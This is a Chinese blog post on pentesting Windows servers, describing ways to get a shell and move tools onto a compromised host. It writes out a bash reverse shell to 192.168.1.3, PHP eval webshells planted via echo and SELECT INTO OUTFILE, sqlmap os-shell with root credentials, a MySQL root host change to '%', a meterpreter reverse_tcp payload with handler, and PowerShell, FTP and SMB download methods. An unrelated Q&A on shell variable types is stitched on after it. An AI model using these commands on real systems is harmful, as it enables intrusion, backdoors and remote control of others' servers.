获得shell的几种姿势

本文介绍了Windows提权及文件上传的方法。提权方面,包括通过sqlmap连接mysql获取shell、msf反弹、phpmyadmin管理界面查询生成webshll。文件上传方面,介绍了利用http、ftp、smb协议以及echo直接写文件等方式,适用于存在命令执行的Windows服务器。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

windows提权

1.通过sqlmap连接mysql获取shell

(1)直接连接数据库

sqlmap.py -d “mysql://root:123456@127.0.0.1:3306/mysql”–os-shell

(2)通过选择32位或者64位操作系统,获取webshell,执行

bash -i >& /dev/tcp/192.168.1.3/80800>&1

(3)反弹到服务器192.168.1.3,在实际中192.168.1.3为外网独立IP。

(4)通过echo命令生成shell:

echo?php@eval($_POST['chopper']);?>/data/www/phpmyadmin/1.php

如果能够通过phpmyadmin管理数据库,则可以修改host为“%”并执行权限更新,下面命令可参考:

use mysql;

update userset host =%where user = ‘root’;

FLUSHPRIVILEGES ;

注意:如果数据库中有多个host连接,修改时可能会导致数据库连接出问题。

2.通过msf反弹

(1)使用msfvenom生成msf反弹的php脚本木马,默认端口为4444:

msfvenom -p php/meterpreter/reverse_tcpLHOST=192.168.1.3 -f raw > test.php

(2)在独立IP或者反弹服务器上运行msf依次执行以下命令:

msfconsole

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set LHOST 192.168.1.3  //192.168.1.3为反弹监听服务器IP

show options

run 0 或者exploit

(3)上传并执行php文件

将test.php上传到192.168.1.2服务器上面,访问后即可获取msf反弹shell

http:// 192.168.1.2:8080/test.php

3.通过phpmyadmin管理界面查询生成webshll

select ‘<?php @eval($_POST[cmd]);?>INTOOUTFILE ‘D:/work/WWW/antian365.php’

我们在做渗透测试的时候会经常遇到存在命令执行的Windows服务器,而且不能上传shell,唯一的入口就是命令执行,这种情况下,我们需要向服务器上传一个大一点的工具,如何实现,这就是本文章主要的内容。

利用http协议下载文件

利用vbs下载

将下面的代码保存为test.vbs

[外链图片转存失败(img-3N352k8n-1563021023687)(http://www.myh0st.cn/usr/uploads/2017/11/1127642178.png)]

执行如下语句:

cscript test.vbs

利用powershell下载

将如下代码保存为test.ps1

$p = New-Object System.Net.WebClient$p.DownloadFile("http://domain/file" "C:\%homepath%\file")

执行.test.ps1

有的时候PowerShell的执行权限会被关闭,需要使用如下的语句打开。

powershell set-executionpolicy unrestricted

利用ftp协议下载文件

1 创建一个ftp服务器,或者使用公共的ftp服务器

2 将下面的代码保存为test.txt

ftp 127.0.0.1
username
password
get fileexit

3 执行下面的命令

ftp -s:test.txt

利用smb协议拷贝文件

1 在公网创建一个共享如:\111.111.111.111test$

2 命令行下执行net use \111.111.111.111test$ /u:test test

3 最后上传文件到共享,命令行下拷贝:copy \111.111.111.111test$test.exe c:\

利用echo直接写文件

使用nishang的powershell工具包对上传的文件进行处理,然后使用echo到文件中,最后再转为原始文件。

下载地址:https://github.com/samratashok/nishang

具体操作步骤:

1 将文件转为hex

PS > .\ExetoText.ps1 evil.exe evil.txt

2 将hex的值echo到文件中

3 将hex转为原始文件

PS > .\TexttoExe.ps1 evil.text evil.exe

总结

这几种方式的利用场景是在我们发现一个服务器存在命令执行,而且还是一台Windows,在不依赖其他工具的前提下,使用Windows自带的命令将我们需要的工具上传到服务器的姿势。以上的脚本文件都可以使用echo 的方式保存到服务器上,然后再利用这些姿势上传大一点的工具等文件。欢迎大家补充各种姿势。

### 回答1: 在shell中,变量类型主要有以下几种: 1. 字符串变量:用于存储字符串类型的数据,如文本、数字等。 2. 数组变量:用于存储多个值的变量,可以通过下标访问数组中的元素。 3. 环境变量:用于存储系统环境信息的变量,如PATH、HOME等。 4. 位置参数变量:用于存储命令行参数的变量,如$1、$2等。 5. 特殊变量:用于存储特殊信息的变量,如$?、$$等。 以上就是shell中常见的变量类型。 ### 回答2: 在Linux的Shell中,变量是指可以存储数据的命名内存区域,是shell编程中最基本的组成部分之一。根据变量的作用范围和数据类型的不同,可以将Shell变量分为如下几种类型: 1.本地变量 本地变量是定义在当前Shell进程中的变量,它的作用范围仅限于当前Shell进程中的子进程和当前进程。本地变量可以使用任意的变量名和变量值,定义方式是: 变量名=变量值 例如:name="Tom",这里定义了一个名为“name”的本地变量,它的值为“Tom”。 2.环境变量 环境变量是由Shell进程创建并传递给子进程的变量,它的作用范围包括当前进程和所有子进程。环境变量可以被所有程序访问,用于传递参数和设置系统环境。环境变量的定义方式是: export 变量名=变量值 例如:export PATH=$PATH:/usr/local/bin,这里定义了一个名为“PATH”的环境变量,它的值是当前PATH变量的值加上“/usr/local/bin”。 3.位置参数变量 位置参数变量是在Shell脚本中传递给脚本的参数,它们按顺序编号,从$1开始,$0变量表示当前脚本的名称。例如,执行脚本时,可以通过下面的命令传递参数: ./test.sh arg1 arg2 arg3 在脚本中可以使用$1、$2、$3等变量来获取对应位置的参数。 4.特殊变量 特殊变量是由Shell设定的,用于保存Shell的运行环境、状态信息和命令行参数等信息,具有特殊的含义。例如: $?:获取上一个命令的退出状态码(0表示成功,非0表示失败); $$:获取当前Shell进程的PID(进程ID); $!:获取后台运行的最后一个进程的PID; $#:获取命令行参数的个数。 综上所述,Shell变量类型主要有本地变量、环境变量、位置参数变量和特殊变量四种。在Shell脚本编程中,熟练使用不同类型的变量可以更好地掌握Shell脚本的编写技巧和使用方法。 ### 回答3: 在shell脚本中,变量是用来保存数据的一种机制,它将数据放入到一个被命名的位置,并且可以在脚本中被引用。在shell中,变量可以分为以下几种类型: 1. 环境变量 环境变量是在Shell启动时就已经定义好的,并提供给各个子进程,在shell脚本中使用这些变量可以获取各种系统信息,例如用户登录名、当前工作目录等等。一些常见的环境变量包括: - HOME:当前用户的家目录路径 - PATH:用于查找命令的路径 - LANG:系统当前的语言环境 2. 本地变量 本地变量是在shell脚本中定义的变量,只在该脚本内有效,无法被其他脚本或命令访问到。本地变量可以使用类似于以下的方式定义: ``` variable=value ``` 其中`variable`表示变量名,`value`则是该变量的值。 3. 位置参数变量 位置参数变量用于在脚本中传递参数,也可以在函数中使用。在shell中,可以使用`$0`表示当前脚本的名称,`$1`表示第一个参数,以此类推。例如,执行下面的命令将会输出“Hello, world!”: ``` echo "Hello, $1!" ``` 4. 特殊变量 特殊变量是在shell中预定义的,提供有关脚本状态和运行时环境的信息。一些常见的特殊变量如下: - $?: 上一条命令运行的状态码 - $$: 当前shell进程的ID - $!: 最近一个在后台运行的进程的ID 总之,在shell脚本中,变量类型有环境变量、本地变量、位置参数变量和特殊变量。针对不同的需要,程序员可以灵活使用这些变量类型,帮助自己更好地编写Shell脚本。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值